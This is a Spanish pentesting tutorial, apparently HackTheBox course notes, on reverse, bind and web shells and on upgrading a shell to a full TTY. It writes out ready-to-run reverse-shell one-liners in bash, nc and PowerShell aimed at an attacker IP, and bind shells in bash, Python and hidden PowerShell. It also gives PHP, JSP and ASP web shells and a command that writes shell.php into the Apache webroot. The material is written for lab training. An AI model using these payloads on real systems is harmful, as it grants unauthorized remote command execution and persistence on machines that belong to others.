Types of Shells

REVERSE SHELL

Un Reverse Shell es el tipo más común, ya que es el método más rápido y sencillo para obtener el control de un host comprometido. Una vez que identificamos una vulnerabilidad en el host remoto que permite la ejecución remota de código, podemos iniciar un netcatreceptor en nuestra máquina que escuche en un puerto específico, por ejemplo, el puerto 1234. Con este receptor en su lugar, podemos ejecutar un reverse shell commandque conecta el shell de sistemas remotos, es decir, Basho PowerShella nuestro netcatreceptor, lo que nos proporciona una conexión inversa a través del sistema remoto.

nc -lvnp 1234

Las banderas que estamos utilizando son las siguientes:

Bandera

Descripción

-l

Modo escucha, para esperar a que haya una conexión para conectarse con nosotros.

-v

Modo detallado, para que sepamos cuando recibimos una conexión.

-n

Deshabilite la resolución DNS y conéctese únicamente desde/hacia IP para acelerar la conexión.

-p 1234

El número de puerto netcatestá escuchando y se debe enviar la conexión inversa.

Ahora que tenemos un netcatoyente esperando una conexión, podemos ejecutar el comando de shell inverso que se conecta a nosotros.

Conectar IP de nuevo

Sin embargo, primero debemos encontrar la IP de nuestro sistema para enviarnos una conexión inversa. Podemos encontrar nuestra IP con el siguiente comando:

ip a

La IP que nos interesa está bajo tun0, que es la misma red HTB a la que nos conectamos a través de nuestra VPN.

Nota: Nos estamos conectando a la IP en 'tun0' porque solo podemos conectarnos a las cajas de HackTheBox a través de la conexión VPN, ya que no tienen conexión a internet, y por lo tanto no pueden conectarse a nosotros a través de internet usando 'eth0'. En un pentest real, puedes estar conectado directamente a la misma red, o realizando un pentest externo, por lo que puedes conectarte a través del adaptador 'eth0' o similar.

Comando de Reverse Shell

El comando que ejecutamos depende del sistema operativo que tenga el host comprometido, es decir, Linux o Windows, y de las aplicaciones y comandos a los que podemos acceder. La página Payload All The Things tiene una lista completa de comandos de shell inverso que podemos usar y que cubren una amplia gama de opciones según nuestro host comprometido.

Ciertos comandos de shell inverso son más confiables que otros y, por lo general, se pueden utilizar para obtener una conexión inversa. Los siguientes comandos son comandos confiables que podemos usar para obtener una conexión inversa, tanto bashen hosts Linux como Powershellen hosts Windows comprometidos:

Código: bash

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'

Código: bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

Código: powershell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Podemos utilizar el exploit que tenemos sobre el host remoto para ejecutar uno de los comandos anteriores, es decir, a través de un exploit de Python o un módulo de Metasploit, para obtener una conexión inversa.

Como podemos ver, después de recibir una conexión en nuestro netcatoyente, pudimos escribir nuestro comando y obtener su salida directamente en nuestra máquina.

Reverse Shelles útil cuando queremos obtener una conexión rápida y confiable con nuestro host comprometido. Sin embargo, a Reverse Shellpuede ser muy frágil. Una vez que se detiene el comando de shell inverso, o si perdemos nuestra conexión por cualquier motivo, tendríamos que usar el exploit inicial para ejecutar el comando de shell inverso nuevamente para recuperar nuestro acceso.

Nota Importante:

📘 PHP Reverse Shell desarrollado por PentestMonkey es una herramienta popular para establecer una conexión de shell inverso en entornos de pruebas de penetración. Puedes acceder al código fuente del proyecto y utilizarlo en escenarios controlados o con propósitos educativos.

🔗 Repositorio de PHP Reverse Shell en GitHub

BIND SHELL

A diferencia de un Reverse Shellque se conecta a nosotros, nosotros tendremos que conectarnos a él en el targets'puerto de escucha.

Una vez que ejecutamos un Bind Shell Command, comenzará a escuchar en un puerto del host remoto y vinculará el shell de ese host, es decir, Basho PowerShell, a ese puerto. Tenemos que conectarnos a ese puerto con netcat, y obtendremos el control a través de un shell en ese sistema.

Comando de enlace de shell

Una vez más, podemos utilizar Payload All The Things para encontrar un comando adecuado para iniciar nuestro shell de enlace.

Nota: iniciaremos una conexión de escucha en el puerto '1234' del host remoto, con IP '0.0.0.0' para que podamos conectarnos a él desde cualquier lugar.

Los siguientes son comandos confiables que podemos usar para iniciar un shell de enlace:

Código: bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f

Código: python

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

Código: powershell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

Conexión Netcat

Una vez que ejecutamos el comando bind shell, deberíamos tener un shell esperándonos en el puerto especificado. Ahora podemos conectarnos a él.

A diferencia de un Reverse Shell, si interrumpimos nuestra conexión a un shell de enlace por cualquier motivo, podemos volver a conectarnos a él y obtener otra conexión inmediatamente. Sin embargo, si el comando de shell de enlace se detiene por cualquier motivo, o si se reinicia el host remoto, aún perderíamos nuestro acceso al host remoto y tendremos que explotarlo nuevamente para obtener acceso.

TTY

Una vez que nos conectamos a un shell a través de Netcat, notaremos que solo podemos escribir comandos o utilizar la tecla de retroceso. Sin embargo, no podemos mover el cursor de texto hacia la izquierda o la derecha para editar nuestros comandos, ni acceder al historial de comandos con las teclas de flechas. Para habilitar estas funcionalidades, necesitamos actualizar nuestro TTY, asignando el TTY de nuestra terminal al TTY remoto.

Podemos hacer esto utilizando varios métodos. Para nuestros propósitos, emplearemos el método de python/stty. En nuestro shell de Netcat, utilizaremos el siguiente comando para usar Python y actualizar nuestro shell a un TTY completo:

python -c 'import pty; pty.spawn("/bin/bash")'

Después de ejecutar este comando, presionaremos Ctrl+Z para enviar el shell al segundo plano y regresar a nuestra terminal local, donde ingresaremos el siguiente comando stty:

^Z
stty raw -echo
fg

Una vez que presionemos fg, nuestro shell de Netcat volverá al primer plano. En este punto, la terminal mostrará una línea en blanco. Podemos presionar Enter nuevamente para volver a nuestro shell o ingresar reset y presionar Enter para restaurarlo. En este momento, deberíamos tener un shell TTY completamente funcional, con historial de comandos y todas las demás funcionalidades de una terminal estándar.

Es posible que notemos que nuestro shell no ocupa toda la ventana de la terminal. Para solucionar esto, necesitamos ajustar algunas variables. Podemos abrir otra ventana de terminal en nuestro sistema, maximizarla o usar el tamaño que queramos, y luego ingresar los siguientes comandos para obtener nuestras variables:

echo $TERM

Este comando nos mostrará el valor de la variable TERM, que podría ser algo como:

xterm-256color

A continuación, obtenemos el tamaño de las filas y columnas de nuestra terminal:

tty size

Esto nos mostrará algo como:

67 318

Con esta información, volvemos a nuestro shell de Netcat y usamos los siguientes comandos para ajustar el tamaño de la terminal:

export TERM=xterm-256color
stty rows 67 columns 318

Después de hacer esto, deberíamos tener un shell de Netcat que aprovecha todas las funciones de la terminal, similar a una conexión SSH.

WEB SHELL

Un Web Shell es un tipo de shell accesible a través de un navegador web. Normalmente, un Web Shell es un script web, como PHP o ASPX, que acepta comandos a través de parámetros de solicitud HTTP (como GET o POST), ejecuta esos comandos y muestra la salida en una página web.

Cómo escribir un Web Shell

Para escribir un Web Shell, necesitamos un script que reciba un comando a través de una solicitud GET, lo ejecute y luego imprima su salida. Los scripts de Web Shell suelen ser muy cortos y se pueden memorizar fácilmente. Aquí tienes algunos ejemplos comunes de Web Shell para diferentes lenguajes:

PHP:

<?php system($_REQUEST["cmd"]); ?>

JSP:

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

ASP:

<% eval request("cmd") %>

Estos scripts permiten ejecutar comandos del sistema operativo a través de la interfaz web.

Nota: Utilizar Web Shells puede ser extremadamente riesgoso y es importante hacerlo solo en entornos controlados y para fines educativos o de pruebas de seguridad.

Cargando un Web Shell

Una vez que tenemos nuestro Web Shell, necesitamos colocar el script en el directorio web del host remoto (webroot) para ejecutarlo a través del navegador. Esto se puede hacer de diferentes maneras, dependiendo de las vulnerabilidades disponibles en el servidor.

Métodos para Cargar un Web Shell

  1. A través de una Vulnerabilidad en la Función de Carga: Si hay una vulnerabilidad en una función de carga de archivos, podemos subir nuestro Web Shell a través de esta función. Por ejemplo, si encontramos una carga de archivos en una aplicación web, podríamos cargar un archivo llamado shell.php y luego acceder a él mediante la web para ejecutar comandos.

  2. Escritura Directa en el Webroot: Si solo tenemos la capacidad de ejecutar comandos remotos a través de un exploit, podemos escribir nuestro Web Shell directamente en el directorio web del servidor. Para esto, es fundamental identificar la ubicación del webroot.

Directorios Webroot Predeterminados

Aquí tienes los directorios webroot predeterminados para algunos servidores web comunes:

Servidor WebWebroot Predeterminado

Apache

/var/www/html/

Nginx

/usr/local/nginx/html/

IIS

c:\inetpub\wwwroot\

XAMPP

C:\xampp\htdocs\

Para determinar el directorio webroot en el servidor que estás atacando, consulta estos directorios. Una vez identificado, puedes usar el comando echo para escribir tu Web Shell en ese directorio. Por ejemplo, si estás atacando un host Linux que ejecuta Apache, puedes escribir un Web Shell PHP con el siguiente comando:

echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php

Este comando crea un archivo llamado shell.php en el directorio /var/www/html/, que luego puedes acceder a través del navegador para ejecutar comandos.

Acceso y Uso de un Web Shell

Una vez que hemos cargado nuestro Web Shell, podemos acceder a él a través de un navegador web o utilizando herramientas como cURL. Aquí te mostramos cómo interactuar con el Web Shell para ejecutar comandos.

Acceso a través del Navegador

Puedes visitar la URL del Web Shell en el navegador para ejecutar comandos. Por ejemplo, si has cargado shell.php en el servidor comprometido, puedes acceder a él de la siguiente manera:

http://SERVER_IP:PORT/shell.php?cmd=id

Este comando ejecutará el comando id y mostrará la salida en el navegador.

Acceso mediante cURL

Otra opción es usar cURL desde la línea de comandos para interactuar con el Web Shell. Ejecuta el siguiente comando para enviar una solicitud HTTP GET y ejecutar el comando id:

curl http://SERVER_IP:PORT/shell.php?cmd=id

La salida será similar a:

kotlinCopiar códigouid=33(www-data) gid=33(www-data) groups=33(www-data)

Ventajas y Desventajas de un Web Shell

Ventajas:

  • Evasión de Restricciones de Firewall: Un Web Shell opera sobre el puerto web (80, 443 o cualquier otro puerto utilizado por la aplicación web), lo que evita las restricciones de firewall que podrían bloquear conexiones en puertos no estándar.

  • Persistencia: Si el host comprometido se reinicia, el Web Shell continuará en su lugar, permitiéndote acceder a él y ejecutar comandos sin necesidad de explotar el host nuevamente.

Desventajas:

  • Interactividad Limitada: A diferencia de los shells reverse y bind, un Web Shell no es tan interactivo. Tendrás que enviar solicitudes diferentes para cada comando que quieras ejecutar.

  • Automatización: En situaciones extremas, puedes escribir un script en Python u otro lenguaje para automatizar el proceso y proporcionar una experiencia de shell web semi-interactiva dentro de tu terminal.

Last updated